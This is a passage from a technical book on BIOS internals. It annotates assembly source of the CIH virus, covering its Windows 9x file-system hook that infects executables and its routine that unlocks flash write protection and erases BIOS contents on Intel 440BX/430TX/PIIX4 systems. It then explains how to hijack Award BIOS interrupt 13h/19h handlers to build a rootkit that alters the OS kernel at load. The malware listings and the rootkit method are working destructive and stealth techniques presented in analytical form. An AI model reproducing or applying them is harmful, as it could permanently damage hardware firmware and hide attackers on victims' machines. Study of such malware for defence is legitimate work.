lea   eax, InstallFileSystemApiHook-@3[eax]        ; eax = runtime
    ; address of InstallFileSystemApiHook label in the
    ; allocated system memory
mov   [ecx], eax ; Modify IFSMgr_InstallFileSystemApiHook entry point
    ; to point to this virus's custom procedure in the
    ; allocated system memory
cli
jmp   ExitRing0Init
```

```
; *********************************************************
; *             Code Size of Merge Virus Code Section     *
; *********************************************************
CodeSizeOfMergeVirusCodeSection  =  offset $
```

```
; *********************************************************
; *             IFSMgr_InstallFileSystemApiHook           *
; *********************************************************
InstallFileSystemApiHook:
push  ebx
call  @4       ;
@4:
```
```
pop  ebx     ; mov ebx, offset FileSystemApiHook
add  ebx, FileSystemApiHook-@4    ;
push  ebx
int   20h    ; VXDCALL IFSMgr_RemoveFileSystemApiHook
```
Even listing 12.6 might be still confusing. Many virus codes are cryptic like this. Thus, I'll give you a graphical representation of the flow of execution. Use the labels, function names, and comments from listing 12.6 as your guide to traverse the code. Figure 12.3 shows the code flow.
Second invocation of `int HookExceptionNumber`
  - Zero flag = 1

`MyExceptionHook`

`InstallMyFileSystemApiHook`
  - Install a file system hook for Windows 9x that points to the `FileSystemApiHook` label in the virus code. This virus code resides in the previously allocated system memory.
  - Modify the `IFSMgr_InstallFileSystemApiHook` entry point in the kernel to point to the `InstallFileSystemApiHook` label in the virus code. This virus code resides in the previously allocated system memory.

`ExitRing0Init`

`ReadyRestoreSE`

`RestoreSE`

Original entry point of the infected executable

Note:
`Courier new` font denotes a label in the virus code or a function name.

Figure 12.3 Installing the file system hook
Figure 12.3 shows that a file system API is installed into the kernel of the operating system. Therefore, every time a call to the file system API is made, this hook is executed. Note that after the hook is installed, the execution in CIH virus source code is no longer "linear"; the file system API hook code is dormant and executes only if the operating system requests it—much like a device driver. As you can see in the virus segment source code, this hook checks the type of operation carried out and infects the file with a copy of the virus code if the file is an executable file. Don't forget that at this point the file system hook is a resident entity in the system—think of it as part of the kernel. It has been copied to system memory allocated for hooking purposes by the virus code in the beginning of listing 12.6. Figure 12.4 shows the state of the CIH virus in the system's virtual address space right after file system API hook installation. This should clarify the CIH code execution up to this point.

Don't forget that the file system API hook will be called if the operating system interacts with a file, such as when opening, closing, writing, or reading it.

The file system API hook is long. Therefore, I only show its interesting parts in listing 12.7. In this listing, you can see how the virus destroys the BIOS contents. I focus on that subject.

Listing 12.7 File System API Hook

```
; **************************************
; * IFSMgr_FileSystemHook entry point  *
; **************************************
```
FileSystemApiHook:

pushad

call  @5

@5:
pop   esi      ; mov esi, offset VirusGameDataStartAddress
add   esi, VirusGameDataStartAddress-@5  ; esi = runtime address of VirusSize
...

; ******************************************************
; * Close file                                         *
; ******************************************************
CloseFile:

xor   eax, eax
mov   ah, 0d7h
call  edi  ; VXDCall IFSMgr_Ring0_FileIO

; ******************************************************
; * Need to restore file modification *                *
; * time?                                             *
; ******************************************************
popf
pop   esi
jnc   IsKillComputer

...

; ******************************************************
; * Kill computer?         *^_^*                      *
; ******************************************************
IsKillComputer:

; Obtain today's date from BIOS CMOS
mov   al, 07h
out   70h, al
in    al, 71h
xor   al, 01h   ; ??/26/???? - weird; it should be "xor al, 26h"

IF DEBUG
jmp   DisableOnBusy
ELSE
jnz   DisableOnBusy
ENDIF

; ******************************************************
; * Kill BIOS EEPROM                                     *
; ******************************************************
mov   bp, 0cf8h      ; bp = PCI config address port
lea   esi, IOForEEPROM-@7[esi] ; esi = runtime address of IOForEEPROM
mov edi, 8000384ch ; edi = PCI bus 0, device 7, offset 4Ch
mov dx, 0cfed ; access offsets 4Eh-4Fh of the southbridge
cli
call esi ; Call IOForEEPROM -> enable access to BIOS chip

mov di, 0058h ; Register 59h in Intel 430TX, 440BX northbridge ->
; memory-mapping register for BIOS address ranges
dec edx ; Point to register 59h
mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h ; Patch the
; opcode at BooleanCalculateCode label "and al, 0fh";
; i.e., direct R/W operation to BIOS chip by PCI bus
call esi ; call IOForEEPROM

lea ebx, EnableEEPROMToWrite-@10[esi]
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx ; Call EnableEEPROMToWrite
mov byte ptr [eax], 60h ; This is weird; it should be
; "mov byte ptr [eax], 20h" to enable writing to BIOS;
; "mov byte ptr [eax], 60h" is product ID command
push ecx
loop $ ; Delay to wait for BIOS chip cycles

xor ah, ah
mov [eax], al ; Write 55h to address e055h
xchg ecx, eax
loop $ ; Delay to wait for BIOS chip cycles

; ***********************
; * Show and enable the *
; * BIOS main ROM data *
; * 000E0000-000FFFFF *
; * (128 KB) *
; * can be written... *
; ***********************
mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx ; Call EnableEEPROMToWrite
mov byte ptr [eax], 20h ; Enable writing to BIOS chip
loop $ ; Delay to wait for BIOS chip cycles

; ***********************
; * Kill the BIOS main *
; * ROM data in memory *
; * 000FE000-000FE07F *
; * (80h bytes) *
; ***********************
mov ah, 0e0h
mov [eax], al ; Write 55h to address fe055h

; ***********************
; * Hide BIOS page in *
; * 000F0000-000FFFFF *
; * (64 KB) *
; ***********************
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch ; Patch the ; opcode at BooleanCalculateCode label "or al,10h";
; i.e., direct read operation to shadow DRAM and ; direct write operation to BIOS chip by PCI bus
call esi ; Call IOForEEPROM
; Note: edi and ebp registers preserved from previous call ...

; ***********************
; * Enable EEPROM to write *
; ***********************
EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
Listing 12.7 is well commented, and you should be able to understand it. However, I will clarify some sections that can confuse you. You need some datasheets to understand the BIOS destruction code in listing 12.7, namely, datasheets for the Intel 440BX, Intel 430TX, and Intel 82371AB (PIIX4) chipsets and some flash ROM datasheets—I’m using Winbond W29C020C and SST29EE010 datasheets.

Start with the entry point to the BIOS destruction routine. The routine is called from the routine following the CloseFile label. The virus code checks whether the date stored in the CMOS matches the predefined date in the virus. If they match, the BIOS destruction code is "called" by the virus.

Now, proceed to the BIOS destruction routine. First, this routine enables access to the BIOS chip by configuring the X-Bus chip select register in the Intel PIIX4 southbridge. This process is shown in listing 12.8.

Listing 12.8 Enabling Access to the BIOS Chip

```assembly
Listing 12.8 Enabling Access to the BIOS Chip

mov   edi, 8000384ch ; edi = PCI bus 0, device ?, offset 4Ch
mov   dx, 0cfeh      ; Access offsets 4Eh-4Fh of the southbridge
cli
call  esi            ; Call IOForEEPROM -> enable access to BIOS chip
...
```
Register 4Eh in PIIX4 controls access to the BIOS chip, particularly the decoding of the BIOS chip address ranges. The quote from its datasheet is shown here.

**XBCS—X-BUS CHIP SELECT REGISTER (FUNCTION 0)**

Address Offset: 4E–4Fh  
Default Value: 03h  
Attribute: Read/Write

This register enables or disables accesses to an external RTC, keyboard controller, I/O APIC, a secondary controller, and BIOS. Disabling any of these bits prevents the device's chip select and X-Bus output enable control signal (XOE#) from being generated. This register also provides coprocessor error and mouse functions.

<table>
<thead>
<tr>
<th>Bit</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>6</td>
<td><strong>Lower BIOS Enable.</strong> When bit 6=1 (enabled), PCI master, or ISA master accesses to the lower 64-KB BIOS block (E0000–EFFFFh) at the top of 1 MB, or the aliases at the top of 4 GB (FFFF0000–FFFFEFFFFh) result in the generation of BIOSCS# and XOE#. When forwarding the region at the top of 4 GB to the ISA Bus, the ISA LA[23:20] lines are all 1's, aliasing this region to the top of the 16-MB space. To avoid contention, ISA memory must not be present in this region (00FE0000–00FEFFFFh). When bit 6=0, PIIX4 does not generate BIOSCS# or XOE# during these accesses and does not forward the accesses to ISA.</td>
</tr>
<tr>
<td>2</td>
<td><strong>BIOSCS# Write Protect Enable.</strong> 1=Enable (BIOSCS# is asserted for BIOS memory read and write cycles in decoded BIOS region); 0=Disable (BIOSCS# is only asserted for BIOS read cycles).</td>
</tr>
</tbody>
</table>
Note that the PIIX4 southbridge can be coupled with one of three Intel northbridges, namely, Intel 440BX, 430TX, or 440MX.

Proceed to next routine that maps the BIOS chip address ranges to the real BIOS chip, not to the BIOS shadow in DRAM. This routine is shown in listing 12.9.

### Listing 12.9 Mapping the Real BIOS Chip to BIOS Address Range

```assembly
mov   di, 0058h  ; Register 59h in Intel 430TX, 440BX northbridge ->
                ; memory-mapping register for BIOS address ranges
dec   edx        ; Point to register 59h
mov   word ptr (BooleanCalculateCode-@10)[esi], 0f24h ; Patch the
                ; opcode at BooleanCalculateCode label "and al, 0fh",
                ; i.e., direct R/W operation to BIOS chip by PCI bus
call  esi  ; Call IOForEEPROM
...
IOForEEPROM:
@10        =  IOForEEPROM
xchg  eax, edi
xchg  edx, ebp
out   dx, eax
xchg  eax, edi
xchg  edx, ebp
in al, dx
BooleanCalculateCode  =  $
and   al, 0fh    ; Direct R/W operation to BIOS chip by PCI bus
                ; Note: This is the runtime opcode after patching
xchg  eax, edi
xchg  edx, ebp
out   dx, eax
xchg  eax, edi
xchg  edx, ebp
out   dx, al
ret
```

The routine in listing 12.9 is clear if you read the Intel 440BX/430TX datasheet. The relevant snippet from the Intel 440BX datasheet is given here.

---

**PAM[6:0]—Programmable Attribute Map Registers(Device 0)**

*Address Offset: 59h (PAM0)–5Fh (PAM6)*

*Default Value: 00h*

*Attribute: Read/Write*

The 82443BX allows programmable memory attributes on 13 Legacy memory segments of various sizes in the 640 KB to 1 MB address range. Seven programmable attribute map (PAM) registers are used to support...
these features. Cacheability of these areas is controlled via the MTRR registers in the Pentium Pro processor. Two bits are used to specify memory attributes for each memory segment. These bits apply to both host accesses and PCI initiator accesses to the PAM areas. These attributes are:

- **RE**, Read Enable. When RE = 1, the host read accesses to the corresponding memory segment are claimed by the 82443BX and directed to main memory. Conversely, when RE = 0, the host read accesses are directed to PCI.
- **WE**, Write Enable. When WE = 1, the host write accesses to the corresponding memory segment are claimed by the 82443BX and directed to main memory. Conversely, when WE = 0, the host write accesses are directed to PCI.

The RE and WE attributes permit a memory segment to be read only, write only, read/write, or disabled. For example, if a memory segment has RE = 1 and WE = 0, the segment is read only.

Each PAM register controls two regions, typically 16 KB in size. Each of these regions has a 4-bit field. The four bits that control each region have the same encoding and are defined in the following table.

### Attribute Bit Assignment Table

<table>
<thead>
<tr>
<th>Bits [5, 1]</th>
<th>Bits [4, 0]</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td><strong>Disabled</strong>. DRAM is disabled and all accesses are directed to PCI. The 82443BX does not respond as a PCI target for any read or write access to this area.</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td><strong>Read Only</strong>. Reads are forwarded to DRAM and writes are forwarded to PCI for termination. This write-protects the corresponding memory segment. The 82443BX will respond as a PCI target for read accesses but not for any write accesses.</td>
</tr>
<tr>
<td>1</td>
<td>0</td>
<td><strong>Write Only</strong>. Writes are forwarded to DRAM and reads are forwarded to the PCI for termination. The 82443BX will respond as a PCI target for write accesses but not for any read accesses.</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td><strong>Read/Write</strong>. This is the normal operating mode of main memory. Both read and write cycles from the host are claimed by the 82443BX and forwarded to DRAM. The 82443BX will respond as a PCI target for both read and write accesses.</td>
</tr>
</tbody>
</table>

As an example, consider a BIOS that is implemented on the expansion bus. During the initialization process, the BIOS can be shadowed in main memory to increase the system performance. When BIOS is shadowed in main memory, it should be copied to the same address location. To shadow the BIOS, the attributes for that address range should be set to write only. The
BIOS is shadowed by first doing a read of that address. This read is forwarded to the expansion bus. The host then does a write of the same address, which is directed to main memory. After the BIOS is shadowed, the attributes for that memory area are set to read only so that all writes are forwarded to the expansion bus. The following table shows the PAM registers and the associated attribute bits:

<table>
<thead>
<tr>
<th>PAM Reg</th>
<th>Attribute Bits</th>
<th>Memory Segment</th>
<th>Comments</th>
<th>Offset</th>
</tr>
</thead>
<tbody>
<tr>
<td>PAM0[3:0]</td>
<td>Reserved</td>
<td>0F0000h–0FFFFFh</td>
<td>BIOS Area</td>
<td>59h</td>
</tr>
<tr>
<td>PAM0[7:4]</td>
<td>R</td>
<td>R</td>
<td>WE</td>
<td>RE</td>
</tr>
</tbody>
</table>

By comparing the preceding datasheet snippet and listing 12.9, you will be able to conclude that routine in listing 12.9 sets up the northbridge to forward every transaction to the BIOS chip address range, to the PCI bus, and eventually to the real BIOS chip.

The next routine enables writing to the BIOS chip. As you learned in chapter 9, most of the BIOS chip is write-locked by default and you have to enter a special byte sequence to enable writing into it. The code snippet in listing 12.10 accomplishes this task.

Listing 12.10 Disabling Write Protection in the BIOS Chip

```
lea   ebx, EnableEEPROMToWrite-@10[esi]
mov   eax, 0e5555h
mov   ecx, 0e2aaah
call  ebx   ; Call EnableEEPROMToWrite
mov   byte ptr [eax], 60h ; This is weird; it should be
                         ; "mov byte ptr [eax], 20h" to enable writing to BIOS;
                         ; "mov byte ptr [eax], 60h" is product ID command
push  ecx
loop $     ; Delay to wait for BIOS chip cycles
...        
EnableEEPROMToWrite:
  mov   [eax], cl
  mov   [ecx], al
  mov   byte ptr [eax], 80h
  mov   [eax], cl
  mov   [ecx], al
ret
```

The code in listing 12.10 can be confusing. You have to compare the values written into the BIOS chip address ranges and a sample BIOS chip to understand it. A snippet from Winbond 29C020C datasheet is provided here can be used as reference.

**Command Codes for Software Data Protection**
Note that the destination addresses of the memory write transaction shown in the preceding datasheet snippet are only 16-bits values because you only need to specify the lowest 16-bits of the destination addresses correctly. You don't need to specify the more significant bytes addresses precisely. As long as the overall destination address resides in the BIOS chip address ranges, the BIOS chip will decode it correctly as "commands." Those write transactions won't be interpreted as "normal" write transactions to the BIOS chip, rather, they will be treated as commands to configure the internal setting of the BIOS chip. That's why it doesn't matter whether you specify e5555h or f5555h as the destination address of the mov instruction. Both are the same from the BIOS chip's perspective because both reside in the BIOS chip address ranges. The important issue when writing command bytes into the BIOS chip is to make sure the data you write into it, i.e., the sequence of the bytes and their corresponding lowest 16-bits addresses are exactly as mentioned in the datasheet. If the code writes to an address range outside of the BIOS chip address ranges, it won't be interpreted as the BIOS chip configuration command because the BIOS chip won't respond to addresses outside of its range.

From the Winbond W29C020C datasheet snippet, it's clear that the routine disables the write protection of the BIOS chip. This byte sequence also applies to SST flash ROM chips. However, I'm not sure if it's already a JEDEC standard to disable the BIOS chip write-protection feature.

At this point, you should be able to understand listing 12.7 completely with the help of the hints I provided in listings 12.8 through 12.10 and their corresponding explanations.

After the previous analysis, it's clear that this particular CIH virus version only attacks systems with Intel 440BX, Intel 430TX, or Intel 440MX\(^3\) northbridge and Intel PIIX4 southbridge—effectively, the contents of the BIOS chip in these systems are destroyed. On top of that, those systems must be running Windows 9x for the virus to work. Systems with other chipsets can also be destroyed, but the contents of their BIOS will be left unharmed, possibly because of chipset incompatibility. Nonetheless, this doesn't mean CIH was a minor threat when it spread around 1998–2000. Intel was then a dominant player in PC hardware. Therefore, its hardware was all over the place. That's why CIH attacked many PCs during that time.

The flashback to the history of BIOS-related attacks ends here. You will learn about BIOS rootkits in the upcoming sections.

---

\(^3\) Intel 440MX is a modified Intel 440BX chipset for mobile computing applications.
12.2. Hijacking the System BIOS

There are plenty of possibilities to implement a BIOS rootkit. I explain one of them in this section. I won't go so far as to provide you with a working proof of concept because of the limited space in this book. However, I provide pointers to relevant articles that will guide you through the internals of the rootkit. Implementing the rootkit in the BIOS should be a trivial task after you've grasped the concept in this chapter. It's also important to note that there's the possibility that a BIOS cannot be injected with a rootkit because it doesn't have enough free space for the rootkit—even if the rootkit code is compressed.

Building a BIOS rootkit simply means injecting your code into the BIOS to conceal your presence in the target system. You learned the basic concept of BIOS code injection in chapter 6. In that chapter, you injected your custom code through the POST jump table. The code injection method in this section is a bit different; some mix that technique with redirection technique known as detour patching. The main target of the code injection is not the POST jump table but the BIOS interrupt handler.

BIOS interrupt handlers in some cases are twisted routines. Their initializations are carried out during both boot block code execution and main system BIOS execution. I explain in this section how to traverse the BIOS disassembly database for Award BIOS version 4.51PG code to find the "interesting" BIOS interrupt handlers and their initialization. As you will see in the next subsection, this method also works for Award BIOS version 6.00PG. The last subsection in this section explains the issue of implementing the rootkit development method in Award BIOS to the BIOS from other vendors.

The technique explained here is derived from the technique explained in the eEye BootRoot rootkit. The BootRoot\textsuperscript{4} rootkit works much like the boot sector virus back in the nineties. Its basic idea is to hijack the operating system loading process by using a modified boot sector—modifying the kernel in the process to conceal the presence of the remote attacker. As you may have known, the loading of the Windows XP kernel is not a single-stage process. The typical booting process for new technology file system–based (NTFS-based) Windows XP installation in the hard drive is shown in figure 12.5. Note that if Windows XP is installed on a 32-bit file allocation table (FAT32) partition, the booting process is more complicated and is not well represented in figure 12.5. Nevertheless, the basic principles are the same.

Figure 12.5 Windows XP kernel loading stages

- BIOS interrupt 19h (bootstrap)
  - Loads master boot record (MBR)—512 bytes at the first sector in HDD—to 0000:7C00h.
  - Jumps into 0000:7C00h and executes the MBR.
  - MBR copies itself to 0000:600h and continues execution there.

- The jump into boot sector execution
  - MBR code looks for active partition in the partition table—MBR at offset 1BEh-1FEh.
  - MBR overwrites the previous MBR code at 0000:7C00h with the boot sector code of the active partition.
  - The execution then jumps from MBR code to boot sector code to execute the boot sector.

- Boot sector execution
  - Boot sector loads the first 16 sectors from the boot partition—including the boot sector itself—which is the first sector—to RAM at 0D00:0000h.
  - Execution continues at segment D00h. This is actually the first stage of Windows boot loader.
  - Windows boot loader loads NTLDR at segment 2000h and jumps into it. Note: Up to this point the execution remains in 16-bit real mode code.

- NTLDR execution
  - NTLDR enters 16-bit protected mode.
  - NTLDR executes the embedded OSLOADER.EXE, which switches the machine to 32-bit protected mode.
  - OSLOADER.EXE loads the “real” operating system, i.e., the Windows kernel, which consists of ntoskrnl.exe, hal.dll, and the associated dependencies.
Figure 12.5 is only a highlight of the booting process; you can find the details by reverse engineering in your Windows XP system. Detailed information can be found at rwid’s NTFS reverse engineering dump at http://www.reteam.org/board/index.php?act=Attach&type=post&id=26 and the Linux NTFS project documentation at http://www.linux-ntfs.org/content/view/19/37/. In addition, you may want to read a book on digital forensics, such as *File System Forensic Analysis* by Brian Carrier.

Back at figure 12.5, you can clearly see that during Windows XP loading stages you have the chance to modify the operating system kernel (ntoskrnl.exe, hal.dll), either by hacking the Windows boot loader or by hacking the BIOS interrupt handlers. In this section, I show the latter scenario, i.e., how to implement an approach similar to the BootRoot rootkit at the BIOS level. The essence of the technique is to modify the interrupt handlers for interrupts that can alter the kernel before or during the operating system’s kernel loading process. Figures 12.6 and 12.7 show how this trick works in a real-world scenario for interrupt 13h.

---

**Interrupt 13h handler before being altered by rootkit**

```
; reading HDD sector example:
...
mov ah, 02h ; invoke read disk sector interrupt
mov al, 1 ; one sector
mov cx, 01h ; read sector 1 in the first cylinder
mov dx, 80h ; read sector from HDD
mov bx, 0 ;
mov es, bx ; set destination segment
mov bx, 7C00h ; set destination offset
int 13h
; now, the sector(s) are in memory starting at
; address 0000:7C00h
```

**Figure 12.6 Working principles of the original interrupt 13h handler**

---

**Interrupt 13h handler after being altered by rootkit**

```
; reading HDD sector example:
...
mov ah, 02h ; invoke read disk sector interrupt
mov al, 1 ; one sector
mov cx, 01h ; read sector 1 in the first cylinder
mov dx, 80h ; read sector from HDD
mov bx, 0 ;
mov es, bx ; set destination segment
mov bx, 7C00h ; set destination offset
int 13h
; now, the sector(s) are in memory starting at
; address 0000:7C00h
```

---

"new" interrupt 13h handler

```
Read the sector(s) into designated memory buffer using ATA command set (I/O port read/write). Save sector addresses for OS-related sectors in the HDD. Alter the contents before returning if the sector(s) being read are the operating system kernel.
```
Figures 12.8 and 12.9 show how the principle is applied to interrupt 19h.

The next two subsections focus on the technique to locate the interrupt 13h handler and interrupt 19h handler within the BIOS binary. Interrupt 13h handles disk-related activity—a rootkit developer is particularly interested in the disk sectors' loading routine. Interrupt 19h is the bootstrap loader; it loads the operating system code to RAM and jumps into it to start operating system execution. The explanations in those sections are focused on Award BIOS. Note that the principles are applicable to the BIOS from other vendors. However, the
biggest obstacle for the BIOS from other vendors is the technique and tools to integrate the changes into one usable BIOS binary. I stick to Award BIOS because its modification tools are widely available on the Web and the modification technique is well researched—you learned about it in previous chapters.

Before proceeding to read the hijacking technique, be aware that I use the word *extension* in this section in two contexts. When the word *extension* is *not* in quotation marks, it refers to the compressed BIOS components in the BIOS other than the system BIOS and the system BIOS extension. When the word *extension* is in quotation marks, it refers to the custom procedure that's injected to the BIOS to modify the behavior of the interrupt handler for rootkit purposes. I express the word in this way because of a lack of terms to refer to these two concepts.

### 12.2.1. Hijacking Award BIOS 4.51PG Interrupt Handlers

The BIOS binary that I dissect in this subsection is vd30728.bin. This is the latest BIOS for the Iwill VD133 motherboard, released in 2000. You can download the binary at [http://www.iwill.net/product_legacy2.asp?na=VD133&SID=32&MID=26&Value=60](http://www.iwill.net/product_legacy2.asp?na=VD133&SID=32&MID=26&Value=60). This binary is placed inside a self-decompressing file, vd30728.exe. Remember, this BIOS is an Award BIOS binary based on Award BIOS 4.51PG code.

There are two kinds of interrupts in the x86 platform, hardware interrupts and software interrupts. The processor views both kinds of interrupts in almost the same fashion. The difference is minor, i.e., the so-called programmable interrupt controller (PIC) prioritizes hardware interrupts before reaching the processor interrupt line, whereas software interrupts don't have such a prioritizing mechanism.

Interrupts 13h and 19h are software interrupts. Nonetheless, you have to track down the interrupt-related initialization from the hardware interrupt initialization to grasp the overall view of BIOS interrupt handling. In most cases, the BIOS code disables the interrupt before the hardware-related interrupt initialization is finished. The overview of BIOS interrupts is shown in table 12.1.

<table>
<thead>
<tr>
<th>Interrupt Number (Hex)</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>00–01</td>
<td>Exception handlers</td>
</tr>
<tr>
<td>02</td>
<td>Nonmaskable interrupt (NMI)</td>
</tr>
<tr>
<td>03–07</td>
<td>Exception handlers</td>
</tr>
<tr>
<td>08</td>
<td>Interrupt request (IRQ) 0; system timer</td>
</tr>
<tr>
<td>09</td>
<td>IRQ 1; keyboard</td>
</tr>
<tr>
<td>0A</td>
<td>IRQ 2; redirected to IRQ 9</td>
</tr>
<tr>
<td>0B</td>
<td>IRQ 3; serial port, i.e., COM2/COM4</td>
</tr>
<tr>
<td>0C</td>
<td>IRQ 4; serial port, i.e., COM1/COM3</td>
</tr>
<tr>
<td>0D</td>
<td>IRQ 5; reserved/sound card</td>
</tr>
<tr>
<td>0E</td>
<td>IRQ 6: floppy disk controller</td>
</tr>
<tr>
<td>0F</td>
<td>IRQ 7; parallel port, i.e., LPT1</td>
</tr>
<tr>
<td>10–6F</td>
<td>Software interrupt</td>
</tr>
<tr>
<td>70</td>
<td>IRQ 8; real-time clock</td>
</tr>
<tr>
<td>71</td>
<td>IRQ 9; redirected IRQ2</td>
</tr>
<tr>
<td>72</td>
<td>IRQ 10; reserved</td>
</tr>
</tbody>
</table>
The hardware that controls the delivery of hardware interrupt requests (IRQs) to the processor is the PIC. It must be initialized before enabling any interrupt in the system. In vd30728.bin, the PIC is initialized by the boot block code, as shown in listing 12.11.

Listing 12.11 PIC Initialization in the vd30728.bin Boot Block

```
F000:E12C Initialize various chips...
F000:E12C That includes DMA controller (8237),
F000:E12C interrupt controller (8259), and timer counter (8254)
F000:E12C mov ax, 0F000h
F000:E12F mov ds, ax          ; ds = F000h
F000:E131 assume ds:F000
F000:E131 mov si, 0F568h      ; ds:si(F000:0F568h) points to
F000:E131                         ; offsets values
F000:E134 mov cx, 24h         ; 24h entry to be programmed
F000:E137 nop
F000:E138 cld
F000:E139
F000:E139 Initialize everything except for DMA page registers
F000:E139 next_outport_word:    ; ...
F000:E139 lodsw
F000:E13A lodsb
F000:E13B out dx, al
F000:E13E jmp short $+2        ; Delay
F000:E140 jmp short $+2        ; Delay
F000:E142 loop next_outport_word
........
F000:F568 dw 3B8h               ; Port address (possibly IDE ctrlr)
F000:F56A  db  1               ; Value to write
........
F000:F5AD dw 20h                ; Interrupt ctrlr
F000:F5AF db 11h                ; Master PIC ICW1; will be sending ICW4
F000:F5B0 dw 21h                ; Interrupt ctrlr
F000:F5B2 db 8                  ; Master PIC ICW2; point to 8th ISR
F000:F5B2             ; vector for IRQs in master PIC
F000:F5B3 dw 21h                ; Interrupt ctrlr
F000:F5B5 db 4                  ; Master PIC ICW3; IRQ2 connected to
F000:F5B5             ; slave PIC
F000:F5B6 dw 21h                ; Interrupt ctrlr
F000:F5B8 db 1                  ; Master PIC ICW4; 8086 mode
```

Table 12.1 Interrupt vector overview
Tracking the PIC initialization in the BIOS disassembly is important because it leads to the interrupt initialization routine, which provides the 32-bit (segment:address) pointer to the interrupt handler. You might be asking about the relationship between the PIC initialization and the interrupt initialization; all interrupts (except NMI) are disabled before the completion of the PIC initialization. Once you have located the interrupt-handler routine, you can use various tricks to patch it, such as detour patching.\(^5\)

Listing 12.11 shows PIC initialization in the boot block. This is an ordinary PIC initialization using the so-called initialization command word (ICW). The initialization ends with an operation command word (OCW) that disables all IRQ lines. You can find numerous tutorials about PIC-related subjects on the Web if you feel uncomfortable with it, for example, at http://www.beyondlogic.org/interrupts/interrupt.htm.

From the preceding code, you can infer that the processor is not serving any interrupt yet because the PIC is "virtually" disabled. However, nothing can prevent an NMI from happening because it has a direct interrupt line to the processor.

Now, proceed to the next stage of interrupt-related initialization in the current BIOS binary, initializing the 16-bit interrupt vectors. In the current BIOS binary, it's in the system BIOS's POST jump table at the eighth entry. The disassembly is shown in listing 12.12. I'm using some abbreviated words in the listing, such as ivect, which refers to interrupt vector; ISR, which refers to in-service register in the PIC; EOI, which refers to end of interrupt; and IRR, which refers to the interrupt request register in the PIC.

**Listing 12.12 Interrupt Vectors Initialization in the vd30728.bin System BIOS**

```
E000:61C2 Begin_E000_POST_Jmp_Table
E000:61C2 POST_Jmp_Tbl_Start dw offset POST_LS ; ...
E000:61C2 ; Restore warm-boot flag
```

\(^5\) Detour patching is a method to patch executables by redirecting the execution of the executable using a branch instruction such that a custom code will be executed when the original executable is being executed. It's described at http://research.microsoft.com/~galehn/Publications/HuntUsenixNt99.pdf.
E000:61D0   dw offset POST_8S ; 1. Initialize interrupt vectors
E000:61D0 ; for IRQ handling and some
E000:61D0 ; other interrupt vectors
E000:61D0 ; 2. Initialize "signatures" used
E000:61D0 ; for Ext_BIOS components
E000:61D0 ; decompression
E000:61D0 ; 3. Initialize PwrMgmtCtrlr
E000:61D0 ;
E000:61D4   dw offset POST_10S ; Update flags, BIOS data area
E000:61D4 ; and enable interrupt
E000:61D4 ; Note: At this point, IRQ lines
E000:61D4 ; are still disabled
E000:61F8   dw offset Start_ISA_POSTs ; Call ISA POST tests (below)
E000:61F8 End_E000_POST_Jmp_Table
E000:17B8 POST_8S proc near ; ...
E000:17B8 cli
E000:17B9   mov   ax, 0F000h
E000:17BC   mov   ds, ax
E000:17BE   cld
E000:17BF   xor   di, di
E000:17C1   mov   es, di
E000:17C3   assume es:nothing
E000:17C3   mov   ax, 0F000h
E000:17C6   shl   eax, 10h
E000:17CA   mov   ax, offset fallback_ivect_handler ; eax = F000:E7D0h
E000:17CD   mov   ecx, 120 ; Initialize 120 interrupt vector
E000:17D3   rep stosd ; Initialize "fallback ivect"
E000:17D6   mov   ax, offset PIC_ISR_n_IRR_HouseKeeping ; EOI handler
E000:17D9   mov   di, 140h ; Interrupt vector 50h
E000:17DC   stosd
E000:17DE   mov   cx, 32 ; First 32 interrupts
E000:17E1   mov   ax, 0F000h
E000:17E4   mov   si, offset ivect_start
E000:17E7   xor   di, di ; es:di = 0000:0000h
E000:17E9   xchg bx, bx
E000:17EB   nop
E000:17EC   repeat: ; ...
E000:17EC movsw ; "Install" reserved ivect offset
E000:17ED stows ; "Install" reserved ivect seg
E000:17EE loop repeat
E000:17F0   cmp   word ptr [si-2], 0
E000:17F4   jnz   short last_ivect_not_0
E000:17F6   mov   word ptr es:[di-2], 0
E000:17FC last_ivect_not_0: ; ...
E000:17FC mov   cx, 8 ; Fill interrupt vector for IRQ8-
E000:17FC ; IRQ15
E000:17FF mov   si, offset ivect_70h
E000:1802  mov  di, 1C0h    ; IRQ8 interrupt vector
E000:1805  xchg bx, bx
E000:1807  nop
E000:1808  repeat_:            ; ...
E000:1808  movsw
E000:1809  stosw
E000:180A  loop  repeat_
E000:180C  mov  di, 180h
E000:180F  mov  ecx, 8
E000:1815  xor  eax, eax
E000:1818  rep stosd
...........
E000:186F  retn
E000:186F  POST_8S endp
...........
F000:E7D0  fallback_ivect_handler:   ; ...
F000:E7D0  push ds
F000:E7D1  push ax
F000:E7D2  push cx
F000:E7D3  mov ax, 40h
F000:E7D6  mov ds, ax            ; ds = BDA segment
F000:E7D8  jmp no_pending_ISR
...........
F000:EF6F  ; Reads the ISR and generates EOI to the PIC as needed
F000:EF6F  PIC_ISR_n_IIR_HouseKeeping proc far ; ...
F000:EF6F  push ds
F000:EF70  push ax
F000:EF71  push cx
F000:EF72  mov ax, 40h
F000:EF75  mov ds, ax
F000:EF77  assume ds:nothing
F000:EF77  mov al, 08h           ; Command to read ISR
F000:EF79  out 20h, al          ; Interrupt controller, 8259A
F000:EF79  ; Master PIC
F000:EF7B  out 0E8h, al
F000:EF7D  in al, 20h            ; Read ISR contents (Master PIC)
F000:EF7D  ; PIC 2 same as 0020 for PIC 1
F000:EF7F  out 0E8h, al
F000:EF81  mov ah, al
F000:EF83  or al, al
F000:EF85  jz short no_pending_ISR
F000:EF87  test al, 100b
F000:EF89  jz short not_slave_PIC_interrupt
F000:EF8B  mov al, 08h           ; Read contents of ISR
F000:EF8D  out 0A0h, al         ; PIC 2 same as 0020 for PIC 1
F000:EF8F  out 0E8h, al
F000:EF91  in al, 0A0h           ; PIC 2 same as 0020 for PIC 1
F000:EF93  out 0E8h, al
F000:EF95  mov cl, al
F000:EF97  or al, al
